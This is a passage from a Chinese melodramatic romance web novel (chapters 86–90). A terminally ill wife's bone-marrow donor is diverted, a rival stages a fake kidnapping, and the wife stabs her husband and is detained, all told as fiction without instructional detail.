她微微扯唇,“再看吧,最近挺忙的。过几天我还想去看看我妈。” 这次做完手术之后,她打算去瑞国继续休养。 她会去看极光,只不过,不是跟陆勋之。 陆勋之嘴角的笑意僵硬了一瞬,眼底闪过一丝怅然,随即笑笑,“没关系,你什么时候想去,我再带你去。我们……还有很多很多时间。” 很多时间? 宁穗心里苦笑,没有了,陆勋之,三天之后,就是他们关系的终点。 也是她八年爱恋的终点。 第二天一早醒来,宁穗到楼下倒水喝。 听到厨房传来做饭的声音,以为是做饭阿姨。 “阿姨,麻烦帮我打杯豆浆,谢谢。” “好。”男人的声音传来,让宁穗一愣。 她扭身看过去,陆勋之正在厨房里忙活。 蓝底白花的围裙,是阿姨常用的,如今戴在陆勋之身上,又小又滑稽。 “饭马上好,坐餐桌等一会儿。”陆勋之唇角微微勾起好看的弧度。 烟火气加上清晨阳光,给他镀了一层薄薄的金光,让他看上去柔和而真实。 宁穗不擅长做饭,幻想过无数次,自己的婚后生活里,陆勋之做饭,她插花。 寻常夫妻的生活,在他们身上具象化。 但这一切,到刚才为止,都是她的虚妄。 在她要放弃的时候,突然又给了她。 老天真的会开玩笑。 见宁穗呆愣在原地不动。 陆勋之无奈的笑笑,拉着她坐到餐桌前,又给她倒了一杯温水。 转而折返到厨房,拿出了早餐。 “都是阿姨提前做好的,我只是负责热一热。借花献佛。”陆勋之摆好了早餐,“尝尝。” 宁穗仔细看了一桌子饭,寻常的食材和菜式。 她竟然眼底有些发热。 心里嘲笑自己,宁穗啊宁穗,这一点点恩惠,也让你感动。 真的是太缺爱了。 她深吸一口气,压下眼底的湿润。 面无表情地开始吃饭。 香甜的味道唤醒沉睡的味蕾。 美好的早餐,真的让人心情愉悦。 宁穗也不例外,她抬眼看向陆勋之,挤出温柔的笑容,说出的话,却带着遗憾,“要是这件事,发生在半年前,就好了。” 那时候宋姜还没怀孕,而她还对陆勋之抱有幻想。 再往好处想,她或许也没有生病。 那她的宝宝,也能活下来。 可是人生没有如果。 遗憾才是常态。 陆勋之表情僵硬了一瞬,大手包裹住宁穗的小手,“宁穗,以后我会经常做。” 宁穗状似无意地抽回手,去拿水煎包,笑了笑,对他的话,不置可否。 以后?他们没有以后了。 正如陆勋之所说,这两天他在家里办公。 像是在履行自己的诺言,陆勋之每到饭点,就会去厨房跟着做饭阿姨学习。 他平时没进过厨房,对做饭也是一窍不通。 但他很聪明,之前学医,手也很灵活,学什么像什么,学得很快。 一顿饭坐下来,他炒菜已经像模像样。 宁穗下来的吃饭的时候,做饭阿姨就跟宁穗夸,“这个菜是先生炒的,太太,您真有福气。” 福气? 宁穗扯唇笑笑,没有说什么。 做饭阿姨收拾好厨房便离开。 硕大的餐厅又剩下宁穗和陆勋之两个人。 “尝尝这个西芹百合。”陆勋之献宝似的,给宁穗夹菜。 宁穗淡淡地提碗躲开,“我不喜欢吃西芹。” 陆勋之夹菜的手悬在半空,勉强扯唇,“我记得你以前很喜欢。” 以前? 结婚后,两人就没吃过几次饭。 宁穗不禁想到上学的时候,她的确很喜欢北食堂的西芹百合和糖醋排骨,要早点去排队,不然就买不上。 有一次她去晚了,最后一份被陆勋之买了,还是他让给她。 宁穗回神,很淡地看了一眼陆勋之,“人是会变的。” 就像她,以前有多爱陆勋之,现在就有多不在乎。 第86章 最后一次丢下她 陆勋之悻悻地收回手,看着青色的西芹落在白色的米饭上,明明色香味俱全,但他一点胃口都没有。 他闭了闭眼睛,又扬起眸子看向宁穗,“那你想吃什么,我明天给你做。” “陆勋之,你这是做什么?”宁穗放下筷子,发出清脆的响声。 男人直愣愣地看着她,语气没什么起伏,“讨好你,看不出来?” 宁穗怔了怔,讨好? 陆勋之这样的人,什么时候讨好过别人? 就算是在商场上,遇到难缠的对手,他都是铁腕政策。 就连三房那边,跟他父亲是亲兄弟,他也是一点情面不留。 不然三房也不会屡屡使手段。 完全是因为正面刚,讨不到任何好处。 只能躲在阴暗处,搞小动作恶心人。 五年婚姻都当她是空气,现在要讨好她? 宁穗被这句话逗笑了,“陆勋之,没必要。” 他们之间不过是交易关系。 而且她明天就要走了。 陆勋之就这么看着她说完拿起筷子,又若无其事地开始吃饭。 他的眼底什么东西轻轻裂开。 许久,他才缓慢拿起筷子,声音有一丝疲惫,“知道了。吃吧。” 下午,宁穗将手里做好的作品,全都打包好,叫了同城快递,寄给了唐佳笑。 这是她在御城的最后一晚,她打算放松一下。 穿戴整齐后,正打算出门,路过陆勋之书房的时候,对方正好开门出来。 两人迎面对上视线,宁穗淡淡收回,转身要走。 男人叫住她,“去哪儿?” 宁穗回首看他,语气很淡,“看电影。” 陆勋之微微点点头,“什么电影?” 宁穗顿了顿,这种话从陆勋之口中问出来,还真是新鲜。 但她今天心情好,好脾气地回答,“动物城。” 陆勋之听完,低头看手机。 宁穗以为话题结束,转身要走。 男人却说:“你买的几点的?我看都有票。” 宁穗这回彻底愣了,“你也要去?” “嗯。”陆勋之点头,“反正没事做。” 没事做? 宁穗余光瞥了一眼书房内,书桌上电脑明明开着,还有一堆散开的文件。 他刚才明明就是在工作。 宁穗想拒绝,但迎上他微微期待的视线。 想到这两天,陆勋之一直在试图讨好她。 她每次都拒绝。 虽然她并不想跟他一起去看电影,但是明天就走了。 她不想再生事端。 万一陆勋之一生气,不让她出门,那她又要麻烦。 宁穗快速地想了想,点头道,“好。一小时后的那场。” 陆勋之明显愣了一下。 他本来还想,如果宁穗拒绝,那他就跟买另一排的票。 总之是要磨她到同意为止。 但没想到她会这么干脆答应,慢半拍才说:“那我马上买票。” 两人取好票,还有二十分钟才开场,宁穗又去买爆米花。 陆勋之先一步付钱,然后拿过来,递到宁穗面前,却又不给她。 让她可以吃到,又不用占着手。 宁穗心里有些异样,拿了一颗塞进嘴里,甜腻的感觉让她很不舒服。 明明以前很爱吃的。 这种亲密的行为,在情侣之间再常见不过。 可是在他们身上,却是第一次。 原来他会疼人的啊。 只不过以前,觉得她不值得而已。 或者,在陆勋之来看,宁穗永远都不会离开他。 所以他才不珍惜。 想到这,宁穗对爆米花也没了兴趣,再也没吃第二口。 检票入场,宁穗排队,陆勋之就在她身后。 两人一个美,一个帅,气质又是顶级的,十分养眼,很多人偷偷看他们。 宁穗垂着眸子想,今天不该答应陆勋之来,好心情损失了一半。 陆勋之的手机响起,他掏出来看,宁穗余光瞥了一眼,是宋姜。 好吧,好心情完全没了。 陆勋之看了宁穗一眼,随手挂断了电话。 但对方又打过来,好像陆勋之不接就不罢休。 宁穗嘴角扯出冷笑,“接吧。进去之后就不方便接了。” 陆勋之唇角抿成直线,“两分钟就回来。”说完,他走到角落去接电话。 余光看着陆勋之走开,宁穗手机震动,是一条信息进来,【赌一把吧,宁穗。】 陌生号码,但不用说也知道是宋姜。 一分钟后,陆勋之脸色明显有些异样,拉了宁穗出队伍,到一旁,压着声音说:“宁穗,我要出去一下,电影我下次再陪你看,行吗?” 语气是打着商量,但明显没给宁穗选择的余地。 又一次。 陆勋之要为了宋姜抛下她。 这是他们第一次一起看电影,大概也是最后一次。 说不遗憾是假的,宁穗的爱情已经满是遗憾了。 本以为能弥补一次。 不是为了陆勋之,而是为了她自己。 垂在身侧的手指蜷缩起来,宁穗笑着迎上陆勋之的视线,“让我猜猜,这次又是因为肚子疼?” 宁穗自己都没发现,她语气里满是刻薄。 可是凭什么呢? 每次她都要给宋姜让路。 她是什么很贱的人吗? 陆勋之眉心折出浅浅的印子,语气沉了沉,“宁穗,我知道是我不好,但是宋姜被绑架了,我要去看看。” 绑架? 宁穗愣了一秒,随即笑了,连这种理由都想得出来,宋姜真是拼了。 原来宋姜说赌一把的意思是这个啊。 赌她只要出事,陆勋之就会去找她。 无论他答应了宁穗什么。 片刻,宁穗听到自己说:“让唐桓去找就好了。” 她是在舍不得吗? 可她还有什么舍不得的,不过是赌一口气罢了。 既然陆勋之自己说要讨好她,为什么还要在这时候丢下她。 “电影随时都能看,可是宋姜要是出事——” “你走吧。”宁穗无情打断了他的话,她不想听这些大道理。 连她都知道那是宋姜的套路,可陆勋之还是会中计。 好在她没有对陆勋之抱有希望,那也就不会失望。 宁穗转身排进队伍内,没给陆勋之一个眼神。 男人上前低声说:“明天我再陪你一起看,我先送你回家好不好?” “不要,我就要今天看。”宁穗目不斜视看着前方,语气满不在乎,“你走好了。” 陆勋之深吸一口气,但语气还是透着商量,“那好,明天我再陪你看别的电影。” 宁穗扯唇,看向陆勋之,“我明天要回海城看我妈。” 似是为了弥补她,陆勋之没有丝毫拒绝,“好,我让人送你。” “我自己去。”宁穗坚持。 “行,听你的。”陆勋之全数同意。 宁穗突然生出一个心思,她该谢谢宋姜,要不是她闹这出,她明天脱身还要费点力气。 宁穗看开了,淡淡笑出来,“那就这样吧,陆勋之,再见。” 再也不见。 这是他最后一次丢下她。 不,是宁穗先不要他了。 宁穗顺着队伍检票入场。 陆勋之定在原地,感觉到什么东西,在缓缓失去。 而他想抓都抓不住。 他突然迈开步子上前,在宁穗走过闸机的一瞬间,抓住了她的手臂。 第87章 可是没有以后了 宁穗怔怔地望向陆勋之,对方脸色很差,压着声音,似是在乞求。 “宁穗,这是最后一次,以后无论她出什么事,我都不管了,行吗?” 可是没有以后了啊,陆勋之。 宁穗微微弯唇,抬手抹开他的手,动作很温柔,但不容拒绝。 “陆勋之,我要去看电影了。”说完,她转身走进去。 陆勋之的手上一空,心里像是被掏空了一样,呼呼漏风。 手机再次响起。 陆勋之面无表情地接通,宋姜的声音传来,凄厉悲惨,却中气十足。 随即是经过机械变声的男人诡笑道,“你的女人都不要?那我可就帮她生孩子了。” 孩子才六个月不到。 生出来必死无疑。 陆勋之的脸色沉下来,似是要将什么撕碎,“地址。” 对方哈哈大笑起来,“现在告诉你地址,难道让你准备好人来找吗?” 陆勋之就是这么打算的,按照对方的地址,让唐桓派人去找。 可是对方不给他这个机会,“你按照我给的指示做。你一个人来,不然就给孩子收尸。” 说完挂断了电话,然后发过来一条信息。 地址是在城郊的废弃工厂,开过去要一个小时。 可陆勋之非常清楚,宋姜不会是在那。 陆勋之下意识地看向放映厅的方向,手指节捏得发白。 两分钟后,他大步离开。 陆勋之见到宋姜,是在三个小时后,他被指示着走了大半个御城,从南城到西城,又到北城。 在北城的破旧工厂里,终于见到宋姜,她被绑在一个颤巍巍的椅子上,除了衣服有些脏,倒是没有受伤。 确认宋姜没事之后,他才看向周围。 并没有发现可疑人物。 他拿出手机给唐桓打了电话出去,“马上搜查周围。” 而后,他才漫步走到宋姜跟前,拿下她口中塞着的布,手指捏着看了看。 布是崭新的。 宋姜的嘴都快裂开了,没想到对方塞得这么紧。 但听到陆勋之让唐桓搜查,她还是松了一口气,还好她刚才让人走了。 她就知道,陆勋之不会独自过来。 但庆幸的同时,她又有些心寒。 都说让他自己来,可他还带人,万一今天不是她安排的人,是真的绑架她的人。 那陆勋之的行为,不就触怒对方了吗? 陆勋之是真的不在乎她了吗? “勋之,快帮我松开手,好疼啊!”宋姜可怜巴巴的,眼泪大颗大颗落下来。 她是真的痛。 为了效果逼真,她让打手给她绑得很紧。 陆勋之却不紧不慢地蹲下身,与她平视,却没有任何动作。 他鹰隼一样的目光凝住她,让宋姜的心思无所遁形。 “勋之,你快、快给我解绑啊。”宋姜眼神有些飘忽。 陆勋之看着宋姜,脑海里全是宁穗最后那个笑。 明明是笑着,可他就是觉察到一丝苦涩。 让他的心都跟着碎了。 宁穗说得对,他应该让唐桓来找。 他低头看了一眼手表,电影已经散场了,眉心不由得皱了皱。 “宋姜,今天这场绑架,是真的吗?”陆勋之冷淡开口,声音透着冷意。 “勋之,当然是真的了。我的手都快断了。你快帮我解开好不好?”宋姜脸色有些发白,“我肚子,肚子好疼啊。” 陆勋之的视线向下,落在她的肚子上。 宋姜很瘦,穿着宽松的衣服其实并不怎么显怀。 但是她故意穿了紧身的衣服,显得肚子大大的。 好像在一直提醒着陆勋之,她肚子里有一个孩子。 “宋姜,我不知道你在玩什么把戏。但我明知道你可能是骗我的,我还来,知道为什么吗?” 他已经看穿了? 宋姜浑身一僵,嘴唇没了血色,勉强挤出微笑,“勋之,我不知道你在说什么。但是我知道你是因为担心我、我和孩子。” 她已经不敢确认陆勋之是不是在乎她,但孩子他肯定是在意的。 陆勋之扬起眼眸看向她,嘴角勾出笑意,但眼底一片冰冷,“孩子?呵,我不在乎孩子,这是我妈在乎的。” 他缓缓起身,双手落在椅子把手上,极具压迫感地看着宋姜,“我一直以为这个孩子能成为我和她之间关系缓解的纽带。但是现在我发现,原来是我一厢情愿,一切都是笑话。我本来可以毁掉这个‘纽带’。” 宋姜的肚子真的痛了,狠狠抽了一下。 仿佛陆勋之下一秒就要剖开她。 “勋之……你别这样,我害怕……” “知道我为什么还留着ta吗?”陆勋之丝毫不在乎她的情绪,几乎是咬着后槽牙说出来的。 他的孩子没有了,别人的孩子,他根本不会在意。 宋姜眼泪像断了线的珠子往下掉,颤抖着摇头,她现在什么都不敢说,她怕了。 她真的怕了。 陆勋之会毁掉她,真的会。 “因为这是我欠他的。”陆勋之缓缓开口,声音有一丝沙哑,似是用尽了所有的耐心,“宋姜,我欠他的,但我不欠你的。你要是再跟我耍花样,你就完了,懂吗?” 宋姜疯狂摇头,眼泪被甩出去好几滴。 陆勋之似是嫌恶地起身,慢条斯理地整理袖口,“你既然这么喜欢被绑着,那就再绑一小时吧。” 他起身走到旁边,找了一把空椅子,坐下,就这样看着她。 看着她受苦受罪,完全没有要放过她的意思。 宋姜忍不住,“勋之,你别这样好不好?不管怎么说,我们还有一起长大的情谊,我们……” 不等宋姜说完,陆勋之垂着眸子,缓缓开口,像是在自言自语。 “本来我今晚上能和她看上电影的。” 那是他们第一次一起看电影。 陆勋之哼笑一声,“我就不该来。” 宋姜愣住,什么意思? 陆勋之要跟宁穗去看电影? 他因为没能跟宁穗一起看电影,所以就折磨她? 宋姜从震惊到悲哀,再到愤怒。 滔天的恨意涌上来,对宁穗,也对陆勋之。 宋姜突然扯唇笑了,“勋之,你是不是爱上宁穗了?” 陆勋之唇角抿成直线,不置可否。 宋姜笑意更大,心里全是冷嘲。 男人啊,明明爱却不承认,自己一步步将喜欢的人推开。 好啊,你爱她是吧? 那就让你亲手送她去死吧。 第88章 骨髓被抢,宁穗被判“死刑” 宁穗收到陆勋之信息的时候,她乘坐的车子刚开出御城。 陆勋之一晚上都没有回来。 宁穗早上出门的时候,保镖问了她要去哪儿,但是没有拦她。 她本以为陆勋之会马上发信息来问。 没想到隔了这么久。 昨晚上她很早就睡了,没看手机,早上醒来手机也是空荡荡的。 没有陌生号码发信息来挑衅。 看来宋姜的情况真的不好? 宁穗心里没有任何波澜,她反而要感谢宋姜。 今天为了走得顺利,她还拜托桑甜想办法拖住陆勋之。 现在不用了,挺好的。 宁穗现在满心都是去做手术的期待。 对陆勋之的询问,也没了什么反感。 好脾气地回了他,【我去海城,看看我妈。】 陆勋之没有打电话过来查岗,而是回她,【注意安全。】 宁穗没回。 她收起手机,看向窗外,今天的预报本来是说晴天的。 可是现在,有些阴云布了上来。 …… 宁穗等待做术前检查的时候,前面有一个患者先检查完,被轮椅推出来。 “姐姐?”陈瑶一眼就认出宁穗,兴奋地喊她,主动滚着轮椅到她跟前。 这些天没见,陈瑶的状态好了很多。 大概是因为找到了合适的骨髓,她也调养了身体,甚至还胖了一点。 “真巧,你也今天做手术?”宁穗也被她灿烂的笑容感染,嘴角也扬起了笑意。 陈瑶猛点头,“真是好幸运,居然跟姐姐一天做手术,那我们都要顺顺利利啊。” 宁穗笑着摸摸她的发顶,“嗯,都会好好的。” “小姐,时间快到了,我们走吧。”一旁的保姆上前。 宁穗看了一眼对方,然后对陈瑶说:“加油!我也要进去检查了。” “好啊,姐姐,那我们手术后见!”陈瑶开心地冲她摆手,整个人头散发着青春的气息。 跟之前行将就木的样子,完全不同。 今天甚至还戴了一顶可爱的帽子,带着兔子耳朵,她转头的时候,耳朵都跟着摆动。 宁穗笑着冲她摆摆手,转身的时候,嘴角还带着笑意。 却在进检查间的时候,撞到了脚趾。 “没事吧?”护士关心问。 宁穗动了动脚,笑着摇摇头,“没事。” 可她心里隐隐有些不舒服,说不上来是为什么。 一切检查结束后,宁穗被推进手术室。 裴斯年也做好了术前准备,戴着口罩,走到宁穗跟前,“一会儿别担心,我会全程跟着。” 宁穗笑着点头,“裴医生在,我有信心。” 裴斯年只露出一双好看的眼睛,但宁穗依旧能看出来,他在笑,是那种发自真心的笑,“宁穗,一切都会好起来,你会重生的。” “嗯,我知道。”宁穗缓缓闭上眼。 护士着急忙慌地进来,在裴斯年耳边说了句什么。 裴斯年的眼色一变,但他还是镇定地跟宁穗说:“我出去一下,马上回来。” 宁穗点头,“好。” 可十几分钟过去,手术依然没有开始,宁穗睁开眼,周围没有一个人。 这时候,一个护士走进来,什么都没说,只拿了手机递给宁穗。 本应该无菌操作的手术室,被护士这个动作给毁了。 宁穗一惊,“你什么人?” 对方却不由分说地直接将手机怼到她耳边。 听筒里传来宋姜狞笑声,“宁穗,你还在等你的骨髓吗?骨髓来不了了。” 宁穗的心像是被一只冰手攥住,整个人瞬间僵硬,她听到自己愤恨的声音颤抖着,“你、你说什么?” 宋姜笑得如此开心,“你去隔壁手术室看看咯。” 说完,她直接挂断了电话。 宁穗丢开手机,猛地起身,眼前一黑,差点晕倒。 递给她手机的小护士,冷淡地转身离开。 正在宁穗缓和的时候,裴斯年快步走进来,声音焦急,“宁穗,出了点问题,但是你先别着急,宁穗,你去哪儿!宁穗!” 宁穗根本听不到任何声音,耳边全是宋姜的那句,“骨髓来不了了”。 什么隔壁手术室? 她的骨髓给别人了吗? 不!不要! 那骨髓是她的,是她的! 凭什么给别人! 凭什么不让她活! 她冲到隔壁手术室外,便遇到了宋姜和两个中年人,她没仔细看那两个人,甚至连宋姜都没看一眼。 而是径直走向手术室的方向,在门口被宋姜狠狠抓住。 宋姜的手指甲刚做了美甲,锋利得很,直接隔着手术服,掐破了宁穗的皮肤。 钻心的疼痛唤回宁穗一丝理智。 宁穗这才看向中年夫妇。 好眼熟,好像是陆勋之的合作伙伴? 宋姜手上使着蛮力,笑着开口,“陈总,陈太太,这位就是陆总的太太,宁穗。” 宁穗愣住,怔怔看向宋姜,不明白她为什么要这么介绍自己。 在外,宋姜不都是默认让所有人都误会,她才是陆勋之的女人吗? 陈总和陈太太不动声色地对视一样,都是老江湖,自然会做表面功夫。 陈太太含泪笑着上前,拉住宁穗的手,“真的要谢谢陆总,要不是他帮我们瑶瑶找到骨髓,我们瑶瑶就……” 说着,她激动到哽咽,擦了一把眼泪。 陈总抱住她,眼底也闪烁着泪花,“是啊,幸亏陆总找到了这个方娟,她跟我女儿的配型——哎,陆太太,你干嘛,那是手术室,你不能进去!哎!快来人,拦住她!” 陈总的声音都破音了。 宁穗不管不顾像是疯了一样,冲进了第一道门。 隔着第二道门的玻璃窗,她看到了陈瑶躺在病床上,而机子另一边,连接的,就是方娟。 她好不容易等来的骨髓,就这样被截胡了。 方娟给陈瑶捐献骨髓之后,至少要再等六个月才能再次捐献。 可宁穗,等不到了! 在这一刻,宁穗已经被判了“死刑”! 宁穗眼前一黑,但身体还本能地往前冲。 像一只无头苍蝇,根本不知道该往哪冲,偏执不肯放弃,却丝毫没有意义。 她张嘴喊着,“那是我的骨髓!”可她什么声音都发不出。 就像是在噩梦中,无力哭喊,可嘴巴像是被棉花堵上一样。 一个重重的力道拉扯她,将她紧紧箍进怀里。 宁穗被箍得快要碎掉,一双眼睛无神地迎上对方。 视线好半天才清晰起来,陆勋之脸色阴沉地看着她,“宁穗,别发疯,你这样会毁了陈总的女儿的骨髓手术。” 宁穗声嘶力竭地喊,“不,那是我的骨髓!” 第89章 认定这件事就是陆勋之做的 陆勋之愣了愣,“怎么会是你的——” 他的话头骤然顿住,因为他看到了宁穗也穿着手术服。 她的骨髓? 不,不可能。 陆勋之的脸色瞬间纸白,像是浑身的血液都被抽走了一样。 陈总上前,非常不快,“陆总,我答应了帮你对抗陆家其他人,我也是赌上全部身家。全是看在你给我女儿找骨髓的份上,要是你太太这么胡闹,搞砸了我女儿的手术,我们的合作也就到此为止。” 宁穗听到这,身子猛地一僵。 陆勋之都知道了,他都知道了。 故意的,他就是故意的! 用她的骨髓去换取陈总的支持。 陈瑶活,那她就要死。 陆勋之原来是想这么折磨她。 看着她升腾起希望,然后再亲手毁灭。 宁穗彻底绝望,她斗不过陆勋之的。 从一开始,她就是跳梁小丑,陆勋之看着她蹦跶。 却始终跳不出他的五指山。 宁穗一身的傲骨全部粉碎,她像是没了骨头一样,瘫了下去。 要不是陆勋之抱住她,她这会儿肯定躺在地上了。 陆勋之感受到怀里的人,在听到陈总的话时,明显没了生气。 像是完全碎掉,再也拼不起来。 陆勋之的心钝痛得快要喘不上起来,语气不善,“我太太不会的。” 说完,他打横抱起宁穗,大跨步离开。 走出去没几步,迎面碰上裴斯年,他现在脸色很差。 刚才他去问明了情况,不知道为什么陈瑶能劫走宁穗的骨髓供体,还不被他知道。 直到此刻他看到陆勋之,什么都明了了。 裴斯年拳头硬了,可是他现在顾不上找陆勋之算账,他赶紧上前,用最轻的声音说:“宁穗,没事的,我还会帮你知道合适的骨髓,我会让你活。” 宁穗怔愣的眼珠缓缓转动,像是没有生气的布娃娃,好半天才聚光在裴斯年的脸上,她淡淡笑了笑,抬头看向陆勋之。 “你放我下来吧,我不会闹了。” 陆勋之完全震惊在裴斯年的话中,他也如同机器人,听从宁穗的吩咐,将她放下,追问道,“宁穗,什么骨髓?你也……你也生病了?” 最后一句话,他甚至有些说不出口。 如果裴斯年说的是真的,那陈瑶的骨髓……是宁穗的? 不可能! 这不可能! 宁穗却淡淡笑着,没有回答他的问题,拖着步子走回到自己的病房。 没几分钟她又出来,没人注意到她的手里拿着什么。 宁穗只直愣愣地看着陆勋之,几乎是跑过去,抱住了陆勋之。 男人猛地顿住,不可置信地缓缓低头,看着刀子没入他的身体,耳边是嗡鸣声,还有宋姜几乎划破天际的尖叫。 “宁穗,你疯了!勋之,勋之!” 陆勋之缓缓到底,视线所及,是宁穗垂眸看着他,眼神冷漠得像是在看死人。 滔天的恨意,让他喘不上气来,他顾不上腹部的疼痛,伸出手想去拉宁穗。 对方却嫌恶地躲开。 陆勋之的眼前逐渐模糊,只看到宁穗跑开的背影。 “陆总!”唐桓惊慌地赶过来,扶住陆勋之。 陆勋之的白衬衣染了一大片红色,脸色苍白得吓人。 几乎是气声说了一句,“带、带她回来。” 说完便晕了过去。 唐桓吓坏了,直接送陆勋之进了急救室。 宋姜也跟了过去,她没想到宁穗居然这么狠。 也是,人被逼上绝路,什么都顾不上了。 宋姜暗暗庆幸,宁穗居然什么都没跟陆勋之说,直接认定这件事就是陆勋之做的。 她藏了藏眼底的狠意,拉住唐桓说:“赶紧报警吧。宁穗这是故意伤人,别让她跑了。” 唐桓愣了愣,刚才他走过来的时候,正好看到宁穗下手。 看到宁穗表情的一瞬间,他也懵了。 在他印象里,宁穗一直都很温顺,对陆勋之几乎是言听计从。 可刚才的宁穗,恨不得要撕碎了陆勋之一样。 滔天的恨意,让人心惊。 一定是有什么误会,陆总不会做伤害宁穗的事。 唐桓犹豫不决,宋姜却说:“刚才勋之晕倒之前不是说了吗?抓宁穗回来,你还不明白?勋之怎么能被人白白捅一刀。” 想到刚才陆勋之的样子,唐桓的眼底划过一丝恨。 再怎么说,宁穗也不该下这么重的手。 刚才陆勋之明明可以躲开的,可是他太相信宁穗了。 唐桓打了电话,“找一下太太在哪,然后报警。” 那头说:“太太哪儿都没去,就在病房里。” 宁穗刚才看着陆勋之被抬走,转身就回了自己的病房。 她换回自己来时的衣服,鹅黄色的毛衣裙,还有淡紫色的羊绒大衣。 裴斯年进来的时候正好看到,宁穗在整理的自己的衣襟。 很仔细,很认真。 裴斯年的眼眶有些热,他现在不知道怎么面对宁穗,“宁穗,对不起,都怪我。” 没有看好方娟。 宁穗却笑了,“裴医生,他们想算计我,总会找到机会的。跟你没关系,你已经帮我很多了。” 她这样说,裴斯年更觉得难受,“你现在捅伤了陆勋之,他不会放过你的,放心我已经雇了保镖,还叫了律师,你会没事的。” 宁穗这回直接摇头,“裴医生,从现在开始,你不用再管我的事,我反正也是要死了,那就跟他们鱼死网破,可你还有大好的前途,我不想连累你。” “可是……” “没有可是。”宁穗语气前所未有的坚决,“他利用太多人威胁我,我不希望你也成为其中一员。” 她能力有限,没办法保护那么多人。 两人没说完话,保镖带着警察冲进房间。 “宁穗,你因故意伤人,需要到警局协助调查。”警察冷脸上前说明了情况。 宁穗没有反抗,跟着警察走,却被裴斯年拉过去挡在身后,“我已经找了律师,等律师到了,你们才能带她走。” 保镖直接上前,一人一边抓住裴斯年的胳膊,反剪在身后,裴斯年根本不是他们的对手。 胳膊被扭得生疼,脸色都跟着白了。 “放开他!我跟你们走。”宁穗上前捶打那些保镖,他们纹丝不动。 宁穗转身拿着茶杯砸到墙边,手中的碎片碴对准自己的颈动脉。 冷脸发着狠,“放开他,不然我马上死在这。看你们还怎么跟陆勋之交代。” 第90章 因为你该死 保镖愣住,就连裴斯年都吓到了。 他忍着痛劝,“宁穗,冷静点,会有办法的。” 宁穗扯唇笑笑,办法? 还能有什么办法,她已经被陆勋之逼上绝路了。 警察好声劝,“别激动,只是去协助调查,有什么事好好说。” 另一个警察则从旁边蹭过去,找准机会,抢下了宁穗手中的碎片。 但她的手也被刮伤了一个口子。 宁穗似是察觉不到似的,这点痛对她来说,已经不算什么。 保镖见宁穗伏法,也没继续为难裴斯年,丢下他也跟着离开。 裴斯年被丢在地上,手臂上传来钝痛,让他眼前一黑,好不容易挣扎起来,宁穗已经被带走。 他哆嗦着手,打了一通电话出去。 宁穗被押上车,她没做任何反抗,也没说一句话。 还没审问,就被直接送进了看守所。 宁穗根本不意外,这肯定是陆勋之打了招呼,想要再折磨她。 何必这么费劲呢,反正她也没几天活头了。 她也不知道过了多久,关她的牢房又进来一胖一瘦两个女人,流里流气的,看上去就是社会上混的。 宁穗靠在角落里,闭着眼睛没理她们。 瘦女人对胖女人使了一个眼色,后者直接上前,一把抓住宁穗的头发,将她拎起来,“看到大姐大也不说话,你装死啊?” 宁穗疼得眉心紧皱,冷冷看向对方,眼底没有一丝情绪。 胖女人愣了一下,这种毫无求生欲望的眼神,让人心里打寒颤。 胖女人很不爽,抬手捏住宁穗的脸颊,“怪不得外边的人想叫我们来教训你,你这样子是真的欠揍——啊!松开!你这个疯狗!啊!救命!” 宁穗死死咬住了她的手指,无论胖女人怎么拍打她的脸,都不放开。 一旁的瘦女人被吓懵了。 宁穗那个样子,简直就像是被逼上绝路的猛兽,只要咬住猎物,不把对方撕成碎片,决不罢休。 眼看宁穗就要咬下胖女人的手指。 她才反应过来,连滚带爬地冲到铁栏杆前,“救命!杀人了!” 看到看守冲进来,宁穗便松开了嘴。 胖女人的手指已经血肉模糊,疼得吱哇乱叫。 一片混乱中,那人被送往医院,宁穗被单独关进一个房间。 房间里又黑又冷,宁穗裹了裹大衣,靠在墙角,擦去了嘴角的甜腥。 …… 陆勋之的伤势不轻,脾脏破裂失血过多,抢救了两个小时,昏睡了整整一晚上,反复发烧,差点下病危。 第二天中午,他才缓缓转醒,眼神空洞地望着天花板。 唐桓第一时间发现他醒过来,赶紧上前,用棉签沾了水,擦他干裂的嘴唇。 “陆总,有哪里不舒服?医生马上过来。” 陆勋之很轻微地摇头,张了张嘴,声音有气无力,“宁穗呢?” 唐桓愣了一下,随即生气地说:“不肯认错,还……还咒您。”让他去死。 陆勋之眼底闪过痛意,眼前都是宁穗当时看自己的表情。 但他还是不甘心,“她亲口跟你说的?” 唐桓摇头,“不是,是律师去见她时,她说的。” “什么律师?”陆勋之愣住,他挣扎地起身,声音狠厉,“你把她怎么了?” 唐桓懵了,“不是您说要抓她回来?我就报警——”抓她了。 后边的话他没说出来。 因为陆勋之的脸色明显阴沉下来,显然是对他的做法不满意。 完蛋了,他会错意了。 陆勋之气急,猛地咳嗽起来,牵扯到伤口,疼得他额头上冒出豆大的冷汗。 语气更虚了几分,“我说让你带她回来,不是抓。算了,人在哪儿,现在带我去。” 知道是自己误会了,唐桓也慌了,宁穗已经在看守所关了二十个小时了。 “对不起,陆总,都怪我。我马上去接太太回来。” 陆勋之已经挪到床边,“不用,我自己去。” 可他刚要起身,疼得他又跌坐回去,大口大口喘气,明显疼得动不了。 唐桓心疼坏了,“太太都这么对您了,您还管她做什么?” 陆勋之一记眼刀投过来,唐桓缩了缩脖子,但还是硬着头皮说:“知道您不爱听,但是也不能总是这么惯着太太,也该让她受点教训。” 陆勋之脸色沉下来,“你去帮我办件事。” …… “宁穗,有人来保释。” 靠在墙角的宁穗颤了颤。 这一晚上她几乎冻僵,快到天亮的时候,才勉强睡了一会儿。 再后来,她浑身一会儿冷一会儿人,人迷迷糊糊的,头沉得要命。 听到有人叫她,第一时间没有反应,等到那人走到她面前,晃了晃她,她才慢半拍地醒过来。 “起来吧,可以走了。” 宁穗脸色铁青,看上去很不好,她缓慢起身,拖着步子出去。 看到陆勋之的时候,她脸色一沉,转身折回,手腕被人拉住。 陆勋之还有些虚弱手上力气不大。 宁穗也像是踩着棉花,想挣脱也没力气。 陆勋之将她捞到跟前,视线落在她的脸颊上,瞬间黑了脸。 皙白的脸上明显有几个指印,“这是谁打的?” 宁穗嘲讽冷笑,以前她怎么没觉得陆勋之这么装呢? 明明是他叫人进来收拾她,却在事后装好人。 看守说:“她在看守所里跟人起口角,对方伤得更重,手指差点咬断了。” 陆勋之根本不关心对方伤成什么样,他仔细给宁穗检查,发现她只是脸上有一点指印,才松了一口气。 他随口交代了跟他一起来的律师,拉着宁穗便出了看守所。 上了车,坐在前排的唐桓就一直侧目盯着她。 好像生怕她再对陆勋之做什么。 宁穗冷哼一声,根本不在意,闭上眼靠在椅背上。 昨晚上她不好过,她现在只想休息。 